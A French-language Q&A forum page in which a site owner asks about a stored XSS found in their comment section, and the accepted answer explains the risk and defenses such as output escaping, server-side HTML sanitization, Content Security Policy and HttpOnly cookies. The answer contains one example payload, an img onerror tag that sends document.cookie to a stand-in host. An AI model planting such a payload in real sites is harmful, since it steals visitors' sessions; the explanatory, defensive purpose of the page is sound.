Qu'est-ce qu'une faille XSS et comment m'en protéger ?

asked 4 months ago464 viewsfr

5

Un audit a trouvé une « XSS stockée » dans les commentaires de notre site. Je ne comprends pas bien le risque ni la correction.

AI diagnosis

AI-generated. Not an answer — the community below confirms or corrects it. Always verify before relying on it.

1 Answer

8
✓
✓ Accepted answer

Une XSS (*cross-site scripting*), c'est quand un attaquant arrive à faire exécuter son JavaScript dans le navigateur d'autres utilisateurs, sur ton site. « Stockée » : le script est enregistré (dans un commentaire, par exemple) et s'exécute chez chaque visiteur qui l'affiche. Il agit alors en leur nom : actions, lecture de données, faux formulaires.

Exemple de commentaire malveillant :

<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">

Protections : 1. Échapper à l'affichage : les frameworks (React, Vue, les templates Blade/Jinja) échappent par défaut. La faille vient presque toujours d'un contournement : dangerouslySetInnerHTML, v-html, {!! !!}, innerHTML. 2. Si tu dois afficher du HTML (Markdown rendu, éditeur riche) : assainis-le côté serveur avec une liste blanche (DOMPurify, sanitize-html, bleach). 3. Content Security Policy : interdit les scripts inline et les domaines inconnus. C'est une défense en profondeur si une faille passe. 4. Cookies HttpOnly, pour que le script ne puisse pas lire la session.

Corrige la faille, puis cherche dans tout le code les autres usages de innerHTML et de ses équivalents.

Sign in to tell others whether this worked.

answered 4 months ago

Sign in and verify your email to post an answer.